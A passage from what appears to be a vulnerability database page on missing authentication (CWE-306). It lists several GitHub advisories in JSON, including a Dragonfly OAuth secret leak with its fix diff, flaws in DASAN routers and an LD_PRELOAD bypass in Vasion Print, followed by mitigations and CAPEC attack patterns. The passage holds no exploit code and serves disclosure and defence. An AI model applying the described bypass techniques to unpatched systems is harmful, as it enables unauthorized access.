`gorm:\"column:client_secret;type:varchar(1024);not null;comment:client secret for oauth2\" json:\"client_secret\"`\n+ ClientSecret string `gorm:\"column:client_secret;type:varchar(1024);not null;comment:client secret for oauth2\" json:\"-\"`\n```\n\nThe first hunk mirrors exactly the shape applied for `/clusters`, `/scheduler-clusters`, `/seed-peer-clusters`, `/seed-peers`, `/peers`, `/configs`, `/applications`, `/personal-access-tokens`, `/persistent-cache-tasks`, `/audits`, and (post-GHSA-j8hf-cp34-g4j7) `/jobs`. The second hunk adds a defense-in-depth pin so that if the OAuth registration handler is ever consumed by a future routing change, the secret stays out of the JSON contract.\n\n### Fix PR\n\nhttps://github.com/dragonflyoss/dragonfly-ghsa-4q9j-6299-gxmr/pull/1 (temp private fork PR opened on the advisory\u0027s embargo-private fork).\n\n### Workarounds\n\nThe OAuth sign-in feature is `not actually used in practice within the Dragonfly project itself`.\n\n### Credit\n\nReported by tonghuaroot.",
"id": "GHSA-4q9j-6299-gxmr",
"modified": "2026-07-02T19:21:30Z",
"published": "2026-07-02T19:21:30Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/dragonflyoss/dragonfly/security/advisories/GHSA-4q9j-6299-gxmr"
},
{
"type": "PACKAGE",
"url": "https://github.com/dragonflyoss/dragonfly"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "Dragonfly Manager OAuth provider client_secret disclosure via unauthenticated GET /api/v1/oauth"
}
GHSA-4QC2-R4Q6-VFXR
Vulnerability from github – Published: 2022-05-13 01:23 – Updated: 2022-05-13 01:23diag_tool.cgi on DASAN H660RM GPON routers with firmware 1.03-0022 lacks any authorization check, which allows remote attackers to run a ping command via a GET request to enumerate LAN devices or crash the router with a DoS attack.
{
"affected": [],
"aliases": [
"CVE-2019-9974"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-04-11T19:29:00Z",
"severity": "CRITICAL"
},
"details": "diag_tool.cgi on DASAN H660RM GPON routers with firmware 1.03-0022 lacks any authorization check, which allows remote attackers to run a ping command via a GET request to enumerate LAN devices or crash the router with a DoS attack.",
"id": "GHSA-4qc2-r4q6-vfxr",
"modified": "2022-05-13T01:23:08Z",
"published": "2022-05-13T01:23:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-9974"
},
{
"type": "WEB",
"url": "https://blog.burghardt.pl/2019/03/diag_tool-cgi-on-dasan-h660rm-devices-with-firmware-1-03-0022-allows-spawning-ping-processes-without-any-authorization-leading-to-information-disclosure-and-dos-attacks"
},
{
"type": "WEB",
"url": "https://seclists.org/bugtraq/2019/Mar/41"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/152232/DASAN-H660RM-Information-Disclosure-Hardcoded-Key.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-4R3G-W96H-5QXG
Vulnerability from github – Published: 2022-10-14 12:00 – Updated: 2022-10-14 19:00Boodskap IoT Platform v4.4.9-02 allows attackers to make unauthenticated API requests.
{
"affected": [],
"aliases": [
"CVE-2022-35136"
],
"database_specific": {
"cwe_ids": [
"CWE-306",
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-10-13T23:15:00Z",
"severity": "MODERATE"
},
"details": "Boodskap IoT Platform v4.4.9-02 allows attackers to make unauthenticated API requests.",
"id": "GHSA-4r3g-w96h-5qxg",
"modified": "2022-10-14T19:00:42Z",
"published": "2022-10-14T12:00:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-35136"
},
{
"type": "WEB",
"url": "https://securityblog101.blogspot.com/2022/10/cve-id-cve-2022-35135-cve-2022-35136.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-4R8X-8Q6M-XVVJ
Vulnerability from github – Published: 2025-09-19 21:31 – Updated: 2025-09-29 21:30Vasion Print (formerly PrinterLogic) Virtual Appliance Host and Application (macOS/Linux client deployments) are vulnerable to an authentication bypass in PrinterInstallerClientService. The service requires root privileges for certain administrative operations, but these checks rely on calls to geteuid(). By preloading a malicious shared object overriding geteuid(), a local attacker can trick the service into believing it is running with root privileges. This bypass enables execution of administrative commands (e.g., enabling debug mode, managing configurations, or invoking privileged features) without proper authorization. While some actions requiring write access to protected files may still fail, the flaw effectively breaks the intended security model of the inter-process communication (IPC) system, allowing local attackers to escalate privileges and compromise system integrity. NOTE: This vulnerability has been addressed, but an affected version range is not yet fully determined. We will update this record as soon as the vendor provides confirmed version information.
{
"affected": [],
"aliases": [
"CVE-2025-34190"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-19T19:15:39Z",
"severity": "HIGH"
},
"details": "Vasion Print (formerly PrinterLogic) Virtual Appliance Host\u00a0and Application\u00a0(macOS/Linux client deployments) are vulnerable to an authentication bypass in PrinterInstallerClientService. The service requires root privileges for certain administrative operations, but these checks rely on calls to geteuid(). By preloading a malicious shared object overriding geteuid(), a local attacker can trick the service into believing it is running with root privileges. This bypass enables execution of administrative commands (e.g., enabling debug mode, managing configurations, or invoking privileged features) without proper authorization. While some actions requiring write access to protected files may still fail, the flaw effectively breaks the intended security model of the inter-process communication (IPC) system, allowing local attackers to escalate privileges and compromise system integrity.\u00a0NOTE: This vulnerability has been addressed, but an affected version range is not yet fully determined. We will update this record as soon as the vendor provides confirmed version information.",
"id": "GHSA-4r8x-8q6m-xvvj",
"modified": "2025-09-29T21:30:20Z",
"published": "2025-09-19T21:31:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-34190"
},
{
"type": "WEB",
"url": "https://help.printerlogic.com/saas/Print/Security/Security-Bulletins.htm"
},
{
"type": "WEB",
"url": "https://help.printerlogic.com/va/Print/Security/Security-Bulletins.htm"
},
{
"type": "WEB",
"url": "https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html#mac-auth-bypass-printerinstallerclientservice"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/vasion-print-printerlogic-authentication-bypass-via-ld-preload-hooking"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-4R9R-CPGW-CF98
Vulnerability from github – Published: 2023-10-25 18:32 – Updated: 2024-09-25 12:30Missing authentication in the SearchStudents method in IDAttend’s IDWeb application 3.1.052 and earlier allows extraction sensitive student data by unauthenticated attackers.
{
"affected": [],
"aliases": [
"CVE-2023-26574"
],
"database_specific": {
"cwe_ids": [
"CWE-287",
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-10-25T18:17:25Z",
"severity": "HIGH"
},
"details": "Missing authentication in the SearchStudents method in IDAttend\u2019s IDWeb application 3.1.052 and earlier allows extraction sensitive student data by unauthenticated attackers. ",
"id": "GHSA-4r9r-cpgw-cf98",
"modified": "2024-09-25T12:30:39Z",
"published": "2023-10-25T18:32:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-26574"
},
{
"type": "WEB",
"url": "https://www.themissinglink.com.au/security-advisories/cve-2023-26574"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-4RP5-RC8P-7X4X
Vulnerability from github – Published: 2022-05-24 19:05 – Updated: 2022-05-24 19:05White Shark System (WSS) 1.3.2 has a sensitive information disclosure vulnerability. The if_get_addbook.php file does not have an authentication operation. Remote attackers can obtain username information for all users of the current site.
{
"affected": [],
"aliases": [
"CVE-2020-20472"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-06-21T05:15:00Z",
"severity": "MODERATE"
},
"details": "White Shark System (WSS) 1.3.2 has a sensitive information disclosure vulnerability. The if_get_addbook.php file does not have an authentication operation. Remote attackers can obtain username information for all users of the current site.",
"id": "GHSA-4rp5-rc8p-7x4x",
"modified": "2022-05-24T19:05:46Z",
"published": "2022-05-24T19:05:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-20472"
},
{
"type": "WEB",
"url": "https://github.com/itodaro/WhiteSharkSystem_cve"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-4RW8-Q5J6-VC96
Vulnerability from github – Published: 2025-12-08 18:30 – Updated: 2025-12-08 18:30In multiple locations, there is a possible way to launch activities from the background due to a permissions bypass. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.
{
"affected": [],
"aliases": [
"CVE-2025-48572"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-08T17:16:15Z",
"severity": "HIGH"
},
"details": "In multiple locations, there is a possible way to launch activities from the background due to a permissions bypass. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.",
"id": "GHSA-4rw8-q5j6-vc96",
"modified": "2025-12-08T18:30:42Z",
"published": "2025-12-08T18:30:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48572"
},
{
"type": "WEB",
"url": "https://android.googlesource.com/platform/frameworks/base/+/e707f6600330691f9c67dc023c09f4cd2fc59192"
},
{
"type": "WEB",
"url": "https://source.android.com/security/bulletin/2025-12-01"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-48572"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
- Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability.
- Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected, including those channels that are assumed to be accessible only by authorized parties. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port.
- In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate credential management need to be used throughout.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation
- Where possible, avoid implementing custom, "grow-your-own" authentication routines and consider using authentication capabilities as provided by the surrounding framework, operating system, or environment. These capabilities may avoid common weaknesses that are unique to authentication; support automatic auditing and tracking; and make it easier to provide a clear separation between authentication tasks and authorization tasks.
- In environments such as the World Wide Web, the line between authentication and authorization is sometimes blurred. If custom authentication routines are required instead of those provided by the server, then these routines must be applied to every single page, since these pages could be requested directly.
Mitigation MIT-4.5
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator [REF-45].
Mitigation
When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to require strong authentication for users who should be allowed to access the data [REF-1297] [REF-1298] [REF-1302].
CAPEC-12: Choosing Message Identifier
This pattern of attack is defined by the selection of messages distributed via multicast or public information channels that are intended for another client by determining the parameter value assigned to that client. This attack allows the adversary to gain access to potentially privileged information, and to possibly perpetrate other attacks through the distribution means by impersonation. If the channel/message being manipulated is an input rather than output mechanism for the system, (such as a command bus), this style of attack could be used to change the adversary's identifier to more a privileged one.
CAPEC-166: Force the System to Reset Values
An attacker forces the target into a previous state in order to leverage potential weaknesses in the target dependent upon a prior configuration or state-dependent factors. Even in cases where an attacker may not be able to directly control the configuration of the targeted application, they may be able to reset the configuration to a prior state since many applications implement reset functions.
CAPEC-216: Communication Channel Manipulation
An adversary manipulates a setting or parameter on communications channel in order to compromise its security. This can result in information exposure, insertion/removal of information from the communications stream, and/or potentially system compromise.
CAPEC-36: Using Unpublished Interfaces or Functionality
An adversary searches for and invokes interfaces or functionality that the target system designers did not intend to be publicly available. If interfaces fail to authenticate requests, the attacker may be able to invoke functionality they are not authorized for.
CAPEC-62: Cross Site Request Forgery
An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie.